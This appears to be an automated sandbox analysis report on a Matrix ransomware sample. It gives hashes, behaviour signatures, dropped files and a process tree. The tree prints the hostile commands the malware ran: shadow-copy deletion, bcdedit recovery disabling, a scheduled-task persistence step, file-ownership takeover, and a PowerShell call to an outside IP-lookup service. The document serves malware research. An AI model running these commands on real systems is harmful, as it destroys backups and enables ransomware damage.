Overview

overview

10

Static

static

8

2e4c3ae323...76.exe

windows7-x64

10

2e4c3ae323...76.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    30s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    27/12/2022, 10:19

Sharing

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General

  • Target

    2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe

  • Size

    610KB

  • MD5

    1c73c307773fedfccd544a6b6b0b55b9

  • SHA1

    899ffd934e0b8a6df4b115c49df33fca524e2135

  • SHA256

    2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376

  • SHA512

    049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d

  • SSDEEP

    12288:mT9zGQU31phksyH0F8eHSE3BGAFTT/OAchocfoOG6FTvcDldnozRpXFqOO:mRyQUlGuLSE3BGAF//xlcfoO/IDr6FqO

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealerupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 42 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe
    "C:\Users\Admin\AppData\Local\Temp\2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe" "C:\Users\Admin\AppData\Local\Temp\NWZSnoAf.exe"
      2⤵
        PID:2040
      • C:\Users\Admin\AppData\Local\Temp\NWZSnoAf.exe
        "C:\Users\Admin\AppData\Local\Temp\NWZSnoAf.exe" -n
        2⤵
        • Executes dropped EXE
        PID:900
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\z0FIEB6f.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:336
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1888
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\xyIMhA14.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\xyIMhA14.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1568
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1544
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1176
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\LZub1Uvy.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:552
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\LZub1Uvy.vbs"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1416
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\VZ4u44MK.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1752
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\VZ4u44MK.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:1488
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1492
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:1640
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\IjvFcx7d.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1820
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                3⤵
                • Views/modifies file attributes
                PID:1936
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
                3⤵
                  PID:1972
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                  3⤵
                  • Modifies file permissions
                  PID:272
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c KTNdBnz7.exe -accepteula "AdobeID.pdf" -nobanner
                  3⤵
                  • Loads dropped DLL
                  PID:700
                  • C:\Users\Admin\AppData\Local\Temp\KTNdBnz7.exe
                    KTNdBnz7.exe -accepteula "AdobeID.pdf" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:1752
                    • C:\Users\Admin\AppData\Local\Temp\KTNdBnz764.exe
                      KTNdBnz7.exe -accepteula "AdobeID.pdf" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Sets service image path in registry
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1764
            • C:\Windows\system32\taskeng.exe
              taskeng.exe {931E0FCB-3E5E-4ABF-90ED-7118C379ACEB} S-1-5-21-1214520366-621468234-4062160515-1000:VDWSWJJD\Admin:Interactive:[1]
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:852
              • C:\Windows\SYSTEM32\cmd.exe
                C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\VZ4u44MK.bat"
                2⤵
                  PID:1560
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin Delete Shadows /All /Quiet
                    3⤵
                    • Interacts with shadow copies
                    PID:1252
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic SHADOWCOPY DELETE
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1884
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} recoveryenabled No
                    3⤵
                    • Modifies boot configuration data using bcdedit
                    PID:644
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit /set {default} bootstatuspolicy ignoreallfailures
                    3⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1496
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN DSHCA /F
                    3⤵
                      PID:848
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1584

                Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                • C:\$Recycle.Bin\S-1-5-21-1214520366-621468234-4062160515-1000\desktop.ini
                  Filesize

                  1KB

                  MD5

                  eb89303f5a8465a54b552fa01c850e77

                  SHA1

                  ef01517ac20c8a6ad75914de63c28542250c340b

                  SHA256

                  4bf5982d8a9dee03e4f877183959672ded3ea8f833b168c59d075052d25925c6

                  SHA512

                  8f493793f991995babfc5a1cbbe9cc3666edab2d686c3163724b26d00f4a2431bd20dbce8e0b5e37711a71097ee0027d83f8b200059571bd01eef609560a0a02

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\IjvFcx7d.bat
                  Filesize

                  246B

                  MD5

                  be2b72f3e29bfada618fdbd79e7f2e23

                  SHA1

                  4fca96440ab242e4571c05c3f4aa3b54552a3086

                  SHA256

                  e5e8f67dd99ab55dee0ebf8ab0375ecb3d1e9a94874d418ffd79814411dd77e9

                  SHA512

                  464636531df5d03b76d08b7ec2abd87ed796560256f818bb352aac74cd772661f53a79df5f8e990c83c77001aca4bd0ed8be5fe8f6c57415f48bd0758a2bfa8f

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\KTNdBnz7.exe
                  Filesize

                  181KB

                  MD5

                  2f5b509929165fc13ceab9393c3b911d

                  SHA1

                  b016316132a6a277c5d8a4d7f3d6e2c769984052

                  SHA256

                  0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                  SHA512

                  c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\KTNdBnz7.exe
                  Filesize

                  181KB

                  MD5

                  2f5b509929165fc13ceab9393c3b911d

                  SHA1

                  b016316132a6a277c5d8a4d7f3d6e2c769984052

                  SHA256

                  0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                  SHA512

                  c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\KTNdBnz764.exe
                  Filesize

                  221KB

                  MD5

                  3026bc2448763d5a9862d864b97288ff

                  SHA1

                  7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                  SHA256

                  7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                  SHA512

                  d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\NWZSnoAf.exe
                  Filesize

                  610KB

                  MD5

                  1c73c307773fedfccd544a6b6b0b55b9

                  SHA1

                  899ffd934e0b8a6df4b115c49df33fca524e2135

                  SHA256

                  2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376

                  SHA512

                  049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\NWZSnoAf.exe
                  Filesize

                  610KB

                  MD5

                  1c73c307773fedfccd544a6b6b0b55b9

                  SHA1

                  899ffd934e0b8a6df4b115c49df33fca524e2135

                  SHA256

                  2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376

                  SHA512

                  049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\z0FIEB6f.txt
                  Filesize

                  14B

                  MD5

                  8eb51985066cb0782077f624013d47a2

                  SHA1

                  0549d07d51454e73b937946ba1887cacfce71835

                  SHA256

                  5537d10911f09132033b185344f75ea1a0ed7e5509b3be00bd8bc93d477baa44

                  SHA512

                  539a7160bb41366a74d8859b080724f5838132428f672c2bba7ef9c9a259823f15074adec75567bea6724f09d681c04b8763a2f495eff3436ff17420cb7bf0f5

                  Download Submit

                • C:\Users\Admin\AppData\Roaming\LZub1Uvy.vbs
                  Filesize

                  260B

                  MD5

                  c8a4922eda2e6ed46de33904bedbfe38

                  SHA1

                  56d09d5dd6512ad70e2cfd22e49dea6fa34c6788

                  SHA256

                  fb3cae92e12b2a3c78dc5aec0c24dd3dc32cbcf1c92eafeadceeb78f420bb77d

                  SHA512

                  ccc5ad96fc271d7f4c4ee2609ce5b2f2e1c526a90b676ae4daf706db06649b2fe50a48607ebf2d0a5466ca9ca52d4977a04c66d9e6bfa4ee3ae1b6a49f48d34a

                  Download Submit

                • C:\Users\Admin\AppData\Roaming\VZ4u44MK.bat
                  Filesize

                  265B

                  MD5

                  1e8aa6d3a3edcd80d9c35e595554ea9a

                  SHA1

                  12d7cdbfae42f904f345c34ee526ab5d322f4eec

                  SHA256

                  a2fcaff05363c7bf040a64f2c2110a472704187315d6071b6a923e9eed426254

                  SHA512

                  1f4cea22fc59c0c0323040210f578a024293643f8320d7d1e89ab84484cf4d13c3fce8105ce4ba79bd6523136c4b4fc86af09bb7db5914a904411d3626f2fb5e

                  Download Submit

                • \Users\Admin\AppData\Local\Temp\KTNdBnz7.exe
                  Filesize

                  181KB

                  MD5

                  2f5b509929165fc13ceab9393c3b911d

                  SHA1

                  b016316132a6a277c5d8a4d7f3d6e2c769984052

                  SHA256

                  0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                  SHA512

                  c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                  Download Submit

                • \Users\Admin\AppData\Local\Temp\KTNdBnz764.exe
                  Filesize

                  221KB

                  MD5

                  3026bc2448763d5a9862d864b97288ff

                  SHA1

                  7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                  SHA256

                  7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                  SHA512

                  d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                  Download Submit

                • \Users\Admin\AppData\Local\Temp\NWZSnoAf.exe
                  Filesize

                  610KB

                  MD5

                  1c73c307773fedfccd544a6b6b0b55b9

                  SHA1

                  899ffd934e0b8a6df4b115c49df33fca524e2135

                  SHA256

                  2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376

                  SHA512

                  049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d

                  Download Submit

                • \Users\Admin\AppData\Local\Temp\NWZSnoAf.exe
                  Filesize

                  610KB

                  MD5

                  1c73c307773fedfccd544a6b6b0b55b9

                  SHA1

                  899ffd934e0b8a6df4b115c49df33fca524e2135

                  SHA256

                  2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376

                  SHA512

                  049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d

                  Download Submit

                • memory/700-96-0x0000000000490000-0x0000000000507000-memory.dmp

                  Filesize

                  476KB

                  Download

                • memory/700-105-0x0000000000490000-0x0000000000507000-memory.dmp

                  Filesize

                  476KB

                  Download

                • memory/900-104-0x0000000000400000-0x0000000000582000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/900-64-0x0000000000400000-0x0000000000582000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/900-84-0x0000000000400000-0x0000000000582000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/1720-54-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

                  Filesize

                  8KB

                  Download

                • memory/1720-62-0x0000000000400000-0x0000000000582000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/1720-83-0x0000000002710000-0x0000000002892000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/1720-81-0x0000000000400000-0x0000000000582000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/1720-63-0x0000000002710000-0x0000000002892000-memory.dmp

                  Filesize

                  1.5MB

                  Download

                • memory/1752-103-0x0000000000400000-0x0000000000477000-memory.dmp

                  Filesize

                  476KB

                  Download

                • memory/1888-69-0x0000000073AD0000-0x000000007407B000-memory.dmp

                  Filesize

                  5.7MB

                  Download

                • memory/1888-68-0x0000000073AD0000-0x000000007407B000-memory.dmp

                  Filesize

                  5.7MB

                  Download